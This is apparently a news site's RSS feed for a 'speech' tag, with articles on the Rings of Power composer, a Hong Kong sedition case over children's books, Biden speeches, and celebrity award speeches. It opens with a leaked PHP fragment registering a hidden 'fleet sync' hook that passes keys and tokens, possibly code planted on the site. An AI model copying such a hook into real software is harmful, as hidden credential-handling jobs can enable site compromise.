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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); speech – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Sep 2022 11:41:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png speech – Brief News https://briefnews.eu 32 32 The Lord Of The Rings: The Rings Of Power’s Bear McCreary On The Power Of Black Speech, Crafting A New Sound For Middle-Earth [Exclusive Interview] https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/ https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/#respond Thu, 15 Sep 2022 11:41:20 +0000 https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/

We’re living in a golden age of fantasy, with “The Lord of the Rings: The Rings of Power” and “House of the Dragon” showing us vastly different yet equally exciting worlds (and “Willow” following close behind). “The Rings of Power” especially is a real gift, a show that manages the impossible by turning J.R.R. Tolkien’s massive legendarium into a cohesive story of corruption and grief in a world before it became tainted by war.

“The Rings of Power” features gorgeous production design, a phenomenal cast, a great adaptation of the lore and mythos, and also a spectacular soundtrack that creates both a direct line of connection between the show and the Peter Jackson movies so they feel part of the same story. But it’s also different enough to make it clear this is a very different age.

Composer Bear McCreary has already given us fantastic scores in major franchises, like “Godzilla,” “Battlestar Galactica,” and more, but his score for “The Rings of Power” is on another level. /Film spoke with McCreary about crafting a new sound for Middle-earth, how Black Speech makes everything more intimidating, thinking of future seasons, and more.

‘I Am Thinking About Essentially 50 Hours’

What was your reaction upon getting the job? And what was your first thought regarding your goal for the sound of the show?

When I came on board, I think I brought with me all the years of being a huge fan of the writings of Tolkien, [as well as] the film adaptations. In many ways that had to color my experience, but I also really needed to score the story at hand and tell the story of these characters and these places. So I tried to balance that, my desire to create something new, and also to write something that could live alongside all this music that was been rolling around inside my head as a fan for my entire life.

The show is already renewed for season 2, how much of the overall story did you know in advance when crafting the score?

I knew a lot because I sat down with the showrunners and I read all the scripts and spoke with them about not only the episodes we’re working on, but the entire series, what the vision is for where the entire show is going to go. So while I initially have been tasked with scoring eight hours of drama. I am thinking about essentially 50 hours. How are these themes that I might write going to evolve over that long run?

And in some cases it’s a little early to get into detailed conversations about that. In other cases, it’s not. When I’m thinking about themes for Elrond, Elendil, Isildur, these are characters that I think all fans have an idea where they’re going to go. So I wanted to write a theme for them, and Sauron as well. Galadriel as well, that could evolve in ways that we all as fans want it to evolve.

That was a challenge, but it was also really fun because I was able to work with this huge expansive canvas, the likes of which come across in a composer’s career very rarely.

‘I Feel Like Deep Down Inside, I Think I Am One Of The Dwarves’

What was the first track or sound that you made once you came on board the show?

I came up with a list of about 15 themes that I needed to write for the first season. It ended up being, I think, even a couple more than that. But I wanted to write in an order that made the most sense to me. I wanted to start easy. Why start with something that was too challenging? What theme would be the easiest for me to wrap my head around? And really, it was the theme for the dwarves in Khazad-dûm. I feel like deep down inside, I think I am one of the dwarves. If I related to any of those cultures, I’m a dwarf deep down inside.And I imagined this churning, mechanical string pattern, and I imagined musicians with anvils clanging them with metal hammers. Then I imagined a choir singing in Khuzdul, a patriotic rousing text. And I knocked that out. And truly the first draft is almost identical to what you heard in episode two.

That was one of those things that did come very naturally to me. I don’t know why, it’s just the way my brain is wired.

On the opposite end, what was the theme you wanted to leave for last?

I think it was Elrond that was the most challenging. Interestingly, it was my fandom of the Peter Jackson films that made it more of a struggle to write a theme for Elrond. Before I took on this show, I think of Elrond, not only with Hugo Weaving’s depiction from the Peter Jackson films, but even from the way he’s written in the original books, as this incredible authority figure. He’s so wise and ancient. He is not to be messed with. He is stern and clear.

And we meet him in “The Rings of Power,” where he’s an optimist, an idealist, a politician, a diplomat. In a way, he’s sort of an orphan. He is not the defining authority figure of Lindon, obviously not. He’s underneath Gil-galad, he’s working with Celebrimbor. He’s very much on his way up through the ranks. And his father and his brother are these incredibly accomplished mythic figures. And he does not have these accomplishments under his belt. What’s that like?

So in a way, I had to let all that other stuff go and focus on who he is in the beginning of the story of “Rings of Power” and create something that was a little more idealistic, and optimistic, and youthful, but a melody that turned around on itself. And it moves from major to minor in such a way that it itself is a little lost. It’s looking for its place. 

And I’m excited to expand upon that theme over the course of the show, as he inevitably rises through those ranks to become more of an authority figure for the elves.

But it wasn’t easy. It definitely took me a minute and a few tries, and JD Payne and Patrick McKay were super helpful in guiding me along those narrative shifts.

‘I’m Creating Something That Is New To Fans That Have Been Watching Adaptations Of Tolkien’

One cool thing about the show is that were seeing places we’ve never seen on the screen before, like Númenor and Valinor. What inspired you in making the sound of those places?

I was really excited at the possibility of exploring familiar sounds, first of all, that we associate with the Peter Jackson films and Howard Shore’s writing. I did not want to unpleasantly surprise anybody. I thought ethereal light vocals for the elves, and deep male vocals for the dwarves, and a subtly Celtic influence for the Harfoots who would become our hobbits. So those were givens.

It was really interesting though, working with colors that are new, in particular Númenor, where there really wasn’t a sound, and there hasn’t really been a sound associated with Númenor. So I was inspired to give Númenor a color that would be different than anything else we’d heard in any Tolkien adaptations in a prominent way.

So I featured a lot of Middle Eastern and Mediterranean colors. There’s an Armenian woodwind instrument called a Duduk that combines with a Turkish string instrument called a tambur. By using these sounds, I’m creating something that is new to fans that have been watching adaptations of Tolkien. And I wanted that feeling when we pull into Númenor of hearing something that is different, that has its own identity because the high men of Númenor and the low men of the Southlands are meant to be very different.

Bringing A Bit Of The Real World Into Middle-Earth

One thing I love about Howard Shore’s score is how he used instruments with a long history. I’m curious if that’s something you brought over to the show.

I always love to use exciting colors from cultural music from around the world in my scores. And indeed, if one were to listen to my work on “Battlestar Galactica” or “Godzilla: King of the Monsters” or “Outlander” or “God of War,” you would hear all kinds of different colors. So this is something I have been researching my entire career. And that research was incredibly helpful in doing “The Lord of the Rings, The Rings of Power.”

Some of these colors are continuous with what Howard Shore did in the films. In the films, when we meet Rohan, the riders of Rohan and that sort of nation, it’s associated with a hardanger fiddle, a Nordic instrument called the hardanger fiddle in those scores.

Sure enough, in “The Rings of Power,” I’m using a hardanger fiddle in combination with another Nordic instrument called a nyckelharpa to represent the southlands, the low men, the men who are not descended from Numenorian ancestry.

So in that way, I’m trying to create something continuous with what Howard Shore did. Howard had a Celtic influence to the Shire and to the hobbits that he really filtered through a British folk music lens. I would not describe the Shire theme as particularly Celtic. It’s really more like British. It feels like British folk music with a little Celtic whistle now and again.

But I leaned into that color, the Celtic side, much more. I’m using Uilleann pipes from Ireland, small Scottish bagpipes from Scotland, a Bodhran, which is a frame drum used in Irish music that has this vocal pitch bendy quality, and Irish penny whistles and tin whistles. It’s almost as if to imply that there’s a more portable, more Celtic, more earthy Celtic color for the Harfoots that will settle down into a more British folk music color thousands of years from now in the Shire.

So they’re not the same. They are different, but they’re continuous. And I loved the idea of being able to use those colors to tell that story.

‘My Biggest Hope Is That It Feels Right’

What is one element from Howard Shore’s score you wanted to keep for the show, and one that you specifically wanted to stray away from or do differently to make clear this is a different story?

I think the thing I wanted to preserve was a sense of continuity. I wanted fans who love the Peter Jackson films, fans like myself, to listen to the music of Khazad-dum, the music of Lindon, the music of Sauron, and to nod their head and say, “Yes, yes, that is correct. That is what I want that to sound like.” And that’s not even a very specific element. It’s a general mood, a general sense of connection that is built from an indescribable number of very specific little musical decisions, ingredients in the cake that are similar.In terms of setting it apart, I want themes that represent our characters as they exist now. I already discussed Elrond as an idealist and a diplomat and a bit of an orphan. Galadriel is driven by a sense of justice, if not a sense of revenge. She is not the calm, wise character she will become. So I wanted to write a theme that had an evocative melody, but really also has a sense of urgency, and drive, and motivation so that we can feel her evolve over the course of our show.

I think the things that are different are very obvious. I mean, it’s the Numenor theme, inevitably it’s different. I am not able to write in someone else’s language. It is my language. So it’s inevitable that it would be different. My biggest hope is that it feels right, and that people fall in love with this depiction of Middle-earth, and that the music is one of the many reasons they go on the journey.

‘There Was A Sense Of Ominous Evil That Came Out Of Those Words’

Something I love about the show is the inclusion of choirs in different languages. Can you talk about including dwarvish, two elvish languages, and bringing it together for the music of the show?

Yeah, it’s pretty exciting to be able to work with the different languages that Tolkien devised for his legendarium. I felt that the score would not be complete if those languages were not integrated into the score. So I worked closely with JD Payne, one of the writers and showrunners, and Leif McPherson, our dialect coach, to make sure that every cue that has choir and features text that is sung in an appropriate language saying an appropriate idea. And Leif created pronunciation guides. She would very slowly and articulately record every syllable so the choir could listen while they were recording, and before they rehearsed they would get all the pronunciation correct. And it was fascinating, the emotional impact that had, because Tolkien was really clever about how he devised his languages. Black Speech has a lot of consonants, has a lot of percussion built into the way it is even said.

So to even say it correctly made it scarier. There’s a cue in the second episode where Bronwyn is running into the town to warn everyone that something terrible is coming. And I wrote the quotation of the Sauron theme there because there’s a threat. There’s something evil coming. And when I heard the recording, it was 10 times more aggressive and scary than I thought it was going to be. And I chimed into the conductor and I said, “What’s happening with the dynamic here? It’s not meant to be super loud.”And then I realized it was the pronunciation, it’s the word itself. And I thought about how in the books and in the movies to speak Black Speech causes the world around you to turn dark. An evil presence happened. And sure enough, that happened in the recording. There was a sense of ominous evil that came out of those words just because you must pronounce the consonants in a very specific way.

That was fascinating. I feel like that was Tolkien’s values and language influencing the score in a very unique and the specific way. And I thought it was just a wonderful opportunity as a composer to get to work with those languages.

“The Lord of the Rings: The Rings of Power” is streaming on Prime Video.

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  • Five speech therapists in Hong Kong have been convicted of sedition for publishing three books.
  • The illustrated children's books depict sheep warriors defending their homes from evil wolves.
  • A Hong Kong judge ruled that the stories were allegories for current events in Hong Kong.

Five speech therapists in Hong Kong were found guilty of sedition on Wednesday for publishing three picture books depicting sheep defending their home from wolves.

The therapists may face up to two years in prison under a colonial-era British law against seditious offenses, which the city's authorities have recently revived to use in tandem with a sweeping new national security law.

Prosecutors said the evil wolves in the books were an allusion to the mainland Chinese authorities while the kind sheep represented Hong Kong residents, according to a judgment published by the courts.

The five defended themselves by saying the books are fables meant to teach universally-celebrated virtues and are open to interpretation, per the court judgment.

Content of children's books are displayed on a TV screen during a press conference after five people were arrested under suspicion of conspiring to publish seditious material at the Hong Kong Police Headquarters on July 22, 2021 in Hong Kong, China. National Security Department of Hong Kong Police Force arrested five members of the General Union of Hong Kong Speech Therapists over three children's books featuring sheep that are suspected of inciting hatred towards the Hong Kong SAR government.
Content from one of the books seen displayed during a press conference held following the arrest of the five speech therapists.

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However, District Judge Wai Kin Kwok ruled that the books were seditious "not merely from the words, but from the words with the proscribed effects intended to result in the mind of children."

In one of the books, a "Wolf-Chairman" directed another wolf to masquerade as a sheep in an attempt to occupy the sheep village and eat those inside, Kwok wrote in a summary, per court records.

Kwok described the disguised wolf as an analogy for the Beijing-backed Chief Executive of Hong Kong, which he wrote would lead children to view the city's real-life leader with contempt.

Another book, titled "12 Warriors of Sheep Village," appears to reference the 12 Hong Kong protestors who were caught trying to flee to Taiwan by sea in 2020. The book tells the story of 12 sheep who fled their village in a boat but were later captured and brought to be imprisoned in a wolf-run fortress.

Kwok wrote that children who read the book would be "led to believe that the 12 fugitives are victims of oppression and unfair prosecution." 

The third book involved a story that Kwok said would lead children to believe Beijing had allowed people coming from mainland China to "make their home dirty and spread the pandemic."

The five defendants — Lai Man-Ling, Melody Yeung, Sidney Ng, Samuel Chan, and Fong Tsz-Ho — have been detained since July last year and were denied bail. All five are below the age of 30 and are due to be sentenced on Saturday.

Supporters of a pro-democracy union pose with illustrations of sheep outside West Kowloon Court in Hong Kong on July 23, 2021, where members of the union face charges of sedition for publishing children's books which allegedly try to explain the city's democracy movement using illustrations of sheep.
Supporters seen posing with illustrations of sheep outside the West Kowloon Court in Hong Kong in July last year.

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Human Rights Watch on Wednesday called for the sedition convictions to be reversed.

"Hong Kong people used to read about the absurd prosecution of people in mainland China for writing political allegories, but this is now happening in Hong Kong," said Maya Wang, a senior Chinese researcher for the non-profit group.

"Hong Kong authorities should reverse this dramatic decline in freedoms and quash the convictions of the five children's book authors," she added.

"Concerned governments should speak out against Hong Kong's abuse of the sedition law," Human Rights Watch wrote in a release, urging the governments of Australia, the European Union, and the UK to join the US in imposing sanctions on Hong Kong officials stamping out dissent.

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  • President Joe Biden responded to a heckler during a Monday Labor Day speech in Milwaukee.
  • "Let him go. Look, everybody's entitled to be an idiot," Biden said after someone tried to interrupt his speech. 
  • During his speech, Biden praised labor unions while showing support for the democrats up for election in November.

President Joe Biden responded to another heckler during a Monday speech in Wisconsin. 

While the president was delivering Labor Day remarks at Milwaukee's Laborfest, someone in the crowd could be heard trying to interrupt the speech.

"God love you," Biden said after his speech was interrupted by the heckler as the crowd began to boo. "Let him go. Look, everybody's entitled to be an idiot."

During his speech, Biden took the opportunity to praise labor unions while also showing support for the democrats up for election in the November midterms, including Gov. Tony Evers and Rep. Gwen Moore, who joined him at the event, the Milwaukee Journal Sentinel reported. 

The heckler was the second Biden responded to during a speech in less than a week.

During a Friday speech in Philadelphia, which he called "The Soul of the Union," Biden was met with hecklers in the crowd shouting, "Fuck Joe Biden!"

"Look, our democracy isn't perfect. It always has been," he responded. "Notwithstanding those folks you hear on the other side there."

"They're entitled to be outrageous," Biden added. "This is a democracy."

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Former Vice President Joe Biden on Friday night made a primetime speech as he approaches an apparent victory in the 2020 presidential election against incumbent Donald Trump. He and running mate Sen. Kamala Harris appeared before the nation from Wilmington, Delaware; you can watch a live stream of the event above, via Bloomberg QuickTake: Now.

“We do not have a final declaration of victory yet,” Biden noted in his opening. “But the numbers… tell us a clear and convincing story. We are going to win this race… with a clear majority and the nation behind us.”

Again, Biden at the time he spoke — and despite another boost in his Pennsylvania total — still had not officially cleared the threshold of 270 electoral votes needed to win the presidency, but the ongoing vote counts in several states seem to be in his favor. Early on Friday morning, Biden took the lead in the Commonwealth of Pennsylvania, which would be the decisive win for him with its 20 electoral votes. At press time, Biden has 253 electoral votes, with Trump trailing with 214 electoral votes, and several states — including Arizona, Georgia and North Carolina — still too close to call.

If Biden is elected, Harris would become the first female vice president of the United States, and also the first person of color elected to the vice presidency.

One hallmark of the 2020 presidential election, of course, was the record number of mail-in ballots, due to the COVID-19 pandemic and concerns about/state limitations with in-person voting. With each state in control of its tabulation timetable for mail-in ballots, Trump, for one, used his rallies and other appearances to cast aspersions on the validity of those results. He continued to make unfounded claims of voter fraud and illegally cast ballots in a televised statement on Thursday, which frustrated, among others, several cable news hosts.

Press PLAY on the live stream above to watch Biden’s full speech.

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“It’s a family off-screen and that translates to being a family on screen,” he continued to explain.

On standing in for the chat show host, Andi added: “It’s great they have asked me to do it. I’m chuffed.

“It’s a real break from tradition and it’s a great statement from the channel about getting more black faces on television in lead roles as opposed to support roles, which is really important and we mustn’t shy away from that fact.

“I love Lorraine, I’ve known her for 10 years, I’m on her show every day and it’s great to be part of that family.”

Lorraine airs weekdays at 9am on ITV.

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]]> https://briefnews.eu/andi-peters-storms-off-lorraine-set-after-hes-taken-off-air-during-farewell-speech/feed/ 0 NHL’s Matt Dumba Delivers Passionate Black Lives Matter Speech Before Blackhawks vs. Oilers Game — Watch https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/ https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/#respond Sun, 02 Aug 2020 00:01:24 +0000 https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/

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The NHL‘s postseason began Saturday with an impassioned speech by Minnesota Wild defenseman Matt Dumba that called for support of the Black Lives Matter movement and justice for victims of police violence.

Before the puck drop at the Chicago Blackhawks vs. Edmonton Oilers game, Dumba, who is of Filipino descent, spoke about the need to address systemic racism and the need for diversity in hockey, saying that while the sport is great, it can be “a lot greater” if players and fans unite and join the fight to end racism.

“During this pandemic something unexpected but long overdue occurred,” Dumba said. “The world woke up to the existence of systematic racism and how deeply rooted it is in our society. For those unaffected by systematic racism or are unaware, I’m sure some of you believe that this topic has garnered too much attention these last couple of months. But let me assure you that it has not.”

Speaking on behalf of the NHL and the Hockey Diversity Alliance, the defenseman said, “Racism is a man-made creation, and all it does is deteriorate from our collective prosperity. Racism is everywhere, and we need to fight against it.

“We vow and promise to stand up for justice and fight for what is right,” he continued. “I know first-hand as a minority playing the great game of hockey, the unexplainable and difficult challenges that come with it. The Hockey Diversity Alliance and NHL want kids to feel safe, comfortable and free-minded every time they enter an arena. So I stand in front of you today on behalf of those groups and promise you that we will fight against injustice and fight for what is right. I hope this inspires a new generation of hockey players and hockey fans because Black Lives Matter. Breonna Taylor’s life matters. Hockey is a great game, but it could be a whole lot greater — and it starts with all of us.”

Following the speech, Malcolm Subban of the Blackhawks and Darnell Nurse of the Oilers placed their hands on Dumba as he became the first NHL player to kneel during the national anthem.

Dumba’s speech follows the NBA’s July 30 opening game, where both the New Orleans Pelicans and Utah Jazz donned Black Lives Matter shirts and took a knee ahead of tip-off. Elsewhere, in the MLB, the New York Yankees and the Washington Nationals both took a collective knee before their July 23 game to honor the BLM movement.

View Dumba’s speech in its entirety above.

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]]> https://briefnews.eu/nhls-matt-dumba-delivers-passionate-black-lives-matter-speech-before-blackhawks-vs-oilers-game-watch/feed/ 0 Love Island pays Caroline Flack tribute as Iain Stirling delivers ‘heartbreaking’ speech https://briefnews.eu/love-island-pays-caroline-flack-tribute-as-iain-stirling-delivers-heartbreaking-speech/ https://briefnews.eu/love-island-pays-caroline-flack-tribute-as-iain-stirling-delivers-heartbreaking-speech/#respond Tue, 18 Feb 2020 09:19:29 +0000 http://briefnews.eu/love-island-pays-caroline-flack-tribute-as-iain-stirling-delivers-heartbreaking-speech/

“Love Island will return tonight and will include a tribute to Caroline that the team in South Africa and Iain Stirling have put together.  

“Caroline loved Love Island and was very vocal in her support of the show. Viewers could relate to her and she to them and that was a big part of the programme’s success. We will all miss her very much.”

Laura said on her BBC Radio 5 Live show on Sunday: “Anyone who knew Caroline knew she was vivacious, loving and had a passion for life which is why none of this makes sense.

“Caroline loved dancing and Angels by Robbie Williams reminds me of her because she danced to it on Strictly. Caroline loved music, we shared many a dance floor at festivals.

“She loved to laugh and had the most infectious chuckle.”

The Love Island host also added: ”She also had many struggles. I am not going to pretend she was perfect but she lived every mistake publicly. Your words affect people.”

Laura went on to plead with listeners to “be kind in what you say.”

Love Island 2020 continues every weeknight at 9pm on ITV2.

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]]> https://briefnews.eu/love-island-pays-caroline-flack-tribute-as-iain-stirling-delivers-heartbreaking-speech/feed/ 0 ‘You’re the ENEMY of free speech’ Piers Morgan slams ‘snowflakes triggered by everything’ https://briefnews.eu/youre-the-enemy-of-free-speech-piers-morgan-slams-snowflakes-triggered-by-everything/ https://briefnews.eu/youre-the-enemy-of-free-speech-piers-morgan-slams-snowflakes-triggered-by-everything/#respond Wed, 29 Jan 2020 14:13:26 +0000 http://briefnews.eu/youre-the-enemy-of-free-speech-piers-morgan-slams-snowflakes-triggered-by-everything/

Good Morning Britain (GMB) hosts Piers Morgan and Susanna Reid were left stunned as a heated debate on freedom of speech unfolded on the show. The row caused Piers to brand “snowflakes triggered by everything” as the “enemies of free speech”. The clash comes after an Oxford College professor caused controversy as they wanted guests to sign a code of conduct to attend a debating event. University of Sussex Philosophy professor Kathleen Stock argued it is illegal for universities to stifle free speech.

Whereas City University’s Student Union vice president of education Saqlain Riaz argued sensible debates should have safeguarding policies.

Mr Riaz said: “I am stating the fact that as a society we are moving forward.

“We are having these conversations.

“Freedom of speech isn’t just for Kathleen or Piers Morgan it is for everybody.”

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Ms Stock answered: “This is part of the problem.

“We are confusing the discussion of difficult ideas with personalised insults.

“In fact, we are finding more personalised insults the more we shout out.”

But Piers was having none of it. He raged: “Universities have become so infused with snowflakes who can’t take any criticism and who get triggered by absolutely everything. And in the end, that is the enemy of free speech. Universities should be about challenging your own ideas.”

The outspoken host added: “The tenet of universities should be free speech and debate. And yet it is being stifled everywhere we look.”

Mr Morgan replied to Mr Riaz: “I’ll tell you what it is.

“You are a young man and you have got to lead the charge for freedom of speech meaning freedom of speech.

“Have a vigorous debate with people that you do not agree with.”

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]]> https://briefnews.eu/youre-the-enemy-of-free-speech-piers-morgan-slams-snowflakes-triggered-by-everything/feed/ 0 Bohemian Rhapsody: WATCH Rami Malek’s BAFTA speech ‘Freddie Mercury was GREATEST outsider’ https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/ https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/#respond Mon, 11 Feb 2019 03:53:49 +0000 http://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/

Following his Best Actor wins at the and , it wasn’t a big surprise that Malek took the same gong at the BAFTAs. While he missed out on the Critics’ Choice Award to Christian Bale for Vice, Malek now looks incredibly likely to pick up his first Oscar later this month. The 37-year-old actor’s win was one of two of Bohemian Rhapsody’s seven nominations – with the other going to Sound. In his acceptance speech, Malek thanked Freddie Mercury, who he played in the film, calling him “the greatest outsider of them all.”

Malek said: “This is truly extraordinary. Really. Thank you to BAFTA for this gorgeous gift.

“I still cannot believe I’m included with this group of actors I so respect and admire. I share this with you guys. Every moment.

“I thank my lucky stars. It’s quite difficult entering your world in this role as an outsider.

“You Brits, you do it so well. And it’s not lost on me how sacred your musical heritage is. So, thank you, thank you, thank you, for including me.”

He added: “I have to thank Fox and New Regency and our producers – Graham King and Denis O’Sullivan and Dexter Fletcher.

“And this extraordinary cast and crew that I had the blessing…so blessed to work with every day.

“I thank you. I would not be here without each and every one of you.

“Thank you, so very much to Queen. To Brian May, to Roger Taylor, to the entire Queen family. Wouldn’t be here without you.”

He added: “And to the greatest outsider of them all.

“For being so unwavering and unflinching and uncompromising in every which way.

“Thank you Freddie Mercury again.”

The 91st Academy Awards take place on February 24 in Hollywood.

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]]> https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/feed/ 0 Bohemian Rhapsody: WATCH Rami Malek’s SAG Awards speech ‘I get POWER from Freddie Mercury’ https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-sag-awards-speech-i-get-power-from-freddie-mercury/ https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-sag-awards-speech-i-get-power-from-freddie-mercury/#respond Mon, 28 Jan 2019 09:01:37 +0000 http://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-sag-awards-speech-i-get-power-from-freddie-mercury/

Last night another big pre-Oscars awards show took place, seeing Bohemian Rhapsody nominated in two categories. While the Queen movie lost out to Black Panther in the Outstanding Performance by a Cast in a Motion Picture category, Malek did once again win the lead male acting award despite a two horse race with Vice’s Christian Bale. Adding to his Golden Globe win, the 37-year-old took to the stage at the SAG awards to accept his prize and once again paid tribute to Freddie Mercury. Thanking the cast first, Malek said: “And this ensemble, that is so extraordinary to me, that carried me through every moment on this film. Thank you.”

Malek continued: “I have anecdotes about what it is to be an actor and delivering pizzas, and stuff like that, but I will spare you.

“I thank Queen and Freddie Mercury. I get some power from him that is about stepping up and living your best life.

“Being exactly who you want to be and accomplishing everything you so desire.

“And I feel that, and he allows us all to feel that. So this is again for him, thank you very much.”

Queen guitarist Brian May congratulated Malek on his Instagram, writing: “Congratulations Rami – epic win ! Bri.”

Malek’s win at the SAG Awards wasn’t always a dead cert, after Christian Bale took both male acting gongs at the Critics’ Choice Awards.

The pair go head to head once again in two weeks time at the BAFTAs, before the big showdown at the Oscars on February 24.

Malek remains the favourite overall for the Academy Award, with odds of 11/8 to Bale’s 2/1.

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